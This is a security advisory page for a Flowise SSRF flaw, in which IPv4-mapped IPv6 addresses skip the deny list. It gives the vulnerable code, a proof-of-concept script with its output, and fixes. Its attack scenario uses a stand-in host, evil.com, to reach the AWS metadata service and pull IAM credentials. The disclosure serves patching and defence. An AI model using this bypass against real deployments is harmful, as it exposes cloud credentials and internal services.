Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-c6xh-wv4j-ppv5

HighCVSS 7.6 / 10
Published Aug 4, 2026·Last modified Aug 4, 2026
Affected Components(0)

No affected components available

Description

Summary

Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<target_ipv4>, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.

CWE

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)

Affected Versions

  • All versions up to and including v3.1.1 (latest main branch as of 2026-04-03)
  • This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)

Details

Root Cause

The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP addresses against a deny list using ipaddr.js. The critical flaw is in the kind() comparison:

// httpSecurity.ts - isDeniedIP()
export function isDeniedIP(ip: string, denyList: string[]): void {
    const parsedIp = ipaddr.parse(ip);
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/')
                const parsedRange = ipaddr.parse(range)
                // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'
                // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry
                if (parsedIp.kind() === parsedRange.kind()) {  // <-- BYPASS HERE
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.')
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`)
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.')
        }
    }
}

When the resolved IP is an IPv4-mapped IPv6 address like ::ffff:169.254.169.254:

  • ipaddr.parse('::ffff:169.254.169.254').kind() returns 'ipv6'
  • ipaddr.parse('169.254.169.254').kind() (from deny list entry) returns 'ipv4'
  • 'ipv6' === 'ipv4' is falseCIDR check is completely skipped

The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do NOT cover the ::ffff:0:0/96 range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.

Attack Vector

  1. Attacker registers a domain (e.g., evil.attacker.com) and sets a AAAA DNS record to ::ffff:169.254.169.254 (AWS metadata) or ::ffff:10.0.0.1 (internal service)
  2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to http://evil.attacker.com/latest/meta-data/
  3. resolveAndValidate() calls dns.lookup('evil.attacker.com', { all: true }) which returns [{ address: '::ffff:169.254.169.254', family: 6 }]
  4. isDeniedIP('::ffff:169.254.169.254', denyList) is called — all IPv4 CIDR entries are skipped due to kind mismatch
  5. Request is sent to 169.254.169.254 (AWS metadata service) via the IPv4-mapped IPv6 address

Affected Endpoints

All code paths using the SSRF protection functions are vulnerable:

| Function | Usage Count | Affected Components | |----------|:-----------:|-------------------| | secureAxiosRequest() | 8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank | | secureFetch() | 5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool | | checkDenyList() | 3+ | MCP Server URL validation, fetch-links service, web scraping |

Proof of Concept

// Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');

const denyList = [
    '169.254.169.254/16',  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
    '10.0.0.0/8',          // RFC1918 (covered by 10.0.0.0/8 in Flowise)
    '127.0.0.0/8',         // Loopback (covered by 127.0.0.0/8 in Flowise)
    '172.16.0.0/12',       // RFC1918 (covered by 172.16.0.0/12 in Flowise)
    '192.168.0.0/16',      // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];

// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'

// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'

// Demonstrate the bypass
for (const entry of denyList) {
    const [range] = entry.split('/');
    const parsedRange = ipaddr.parse(range);
    const kindMatch = mappedIP.kind() === parsedRange.kind();
    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skipped

Attack Scenario (AWS Cloud):

# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
#    URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentials

Verified PoC Output

The following output was produced by running the PoC script (poc_ssrf_bypass.js) against ipaddr.js@2.2.0 (the exact version used by Flowise ^2.2.0), replicating the isDeniedIP() logic:

Step 1: kind() mismatch confirmed

169.254.169.254                kind=ipv4  isIPv4Mapped=false
::ffff:169.254.169.254         kind=ipv6  isIPv4Mapped=true  → maps to: 169.254.169.254
127.0.0.1                      kind=ipv4  isIPv4Mapped=false
::ffff:127.0.0.1               kind=ipv6  isIPv4Mapped=true  → maps to: 127.0.0.1
10.0.0.1                       kind=ipv4  isIPv4Mapped=false
::ffff:10.0.0.1                kind=ipv6  isIPv4Mapped=true  → maps to: 10.0.0.1
192.168.1.1                    kind=ipv4  isIPv4Mapped=false
::ffff:192.168.1.1             kind=ipv6  isIPv4Mapped=true  → maps to: 192.168.1.1
172.16.0.1                     kind=ipv4  isIPv4Mapped=false
::ffff:172.16.0.1              kind=ipv6  isIPv4Mapped=true  → maps to: 172.16.0.1

Step 2: Normal IPv4 — correctly blocked ✅

169.254.169.254           → 🔒 BLOCKED (matched: 169.254.169.254)
127.0.0.1                 → 🔒 BLOCKED (matched: 127.0.0.0/8)
10.0.0.1                  → 🔒 BLOCKED (matched: 10.0.0.0/8)
192.168.1.1               → 🔒 BLOCKED (matched: 192.168.0.0/16)
172.16.0.1                → 🔒 BLOCKED (matched: 172.16.0.0/12)

Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️

::ffff:169.254.169.254         → ⚠️ ALLOWED (BYPASS!)  (real target: 169.254.169.254)
::ffff:127.0.0.1               → ⚠️ ALLOWED (BYPASS!)  (real target: 127.0.0.1)
::ffff:10.0.0.1                → ⚠️ ALLOWED (BYPASS!)  (real target: 10.0.0.1)
::ffff:192.168.1.1             → ⚠️ ALLOWED (BYPASS!)  (real target: 192.168.1.1)
::ffff:172.16.0.1              → ⚠️ ALLOWED (BYPASS!)  (real target: 172.16.0.1)

Step 4: Root cause — kind mismatch skips CIDR check

Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16
parsedIp.kind()    = 'ipv6'
parsedRange.kind() = 'ipv4'
kind match?        = false ← CIDR check is SKIPPED!
But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)

Step 5: Proposed fix — all bypass addresses now blocked ✅

::ffff:169.254.169.254         → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)
::ffff:127.0.0.1               → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)
::ffff:10.0.0.1                → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8)
::ffff:192.168.1.1             → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16)
::ffff:172.16.0.1              → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)

Step 6: Attack simulation

Vulnerable isDeniedIP:  ⚠️ ALLOWED → Request reaches AWS metadata!
Fixed isDeniedIP:       🔒 BLOCKED → Attack prevented!

Verification environment: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency ^2.2.0) PoC script: poc_ssrf_bypass.js

Impact

| Target | Impact | Severity | |--------|--------|----------| | AWS/GCP/Azure Metadata (169.254.169.254) | Steal IAM credentials, service account tokens | Critical | | Internal services (10.x.x.x, 172.16.x.x, 192.168.x.x) | Access internal APIs, databases, admin panels | High | | Localhost (127.0.0.1) | Access Flowise's own API with elevated privileges, access co-located services | High |

This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) completely ineffective against IPv4-mapped IPv6 DNS resolution.

Remediation

Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)

export function isDeniedIP(ip: string, denyList: string[]): void {
    let parsedIp = ipaddr.parse(ip);
    
    // ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking
    if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) {
        parsedIp = parsedIp.toIPv4Address();
    }
    
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/');
                let parsedRange = ipaddr.parse(range);
                // Also normalize deny list entries
                if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) {
                    parsedRange = parsedRange.toIPv4Address();
                }
                if (parsedIp.kind() === parsedRange.kind()) {
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.');
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`);
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.');
        }
    }
}

Option 2: Add ::ffff:0:0/96 to Deny List (Defense-in-depth)

Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:

const DEFAULT_DENY_LIST = [
    // ... existing entries ...
    '::ffff:0:0/96',        // Block ALL IPv4-mapped IPv6 addresses
    '::ffff:127.0.0.1/128', // Explicit loopback mapped
    '::ffff:169.254.0.0/112', // Explicit link-local mapped  
    '::ffff:10.0.0.0/104',  // Explicit RFC1918 Class A mapped
    '::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped
    '::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped
];

Option 3: Also normalize in resolveAndValidate() (Belt and suspenders)

async function resolveAndValidate(url: string): Promise<ResolvedTarget> {
    // ... existing code ...
    const records = await dns.lookup(hostname, { all: true });
    for (const r of records) {
        let address = r.address;
        // Normalize IPv4-mapped IPv6 for deny list checking
        if (ipaddr.isValid(address)) {
            const parsed = ipaddr.parse(address);
            if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) {
                address = parsed.toIPv4Address().toString();
            }
        }
        isDeniedIP(address, denyList);
    }
    // ... rest of code ...
}
Risk Scores
Base Score
7.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
5.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Related Vulnerabilities
  • CVE-2026-69257
    Alias
  • EUVD-2026-52751
    Alias

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard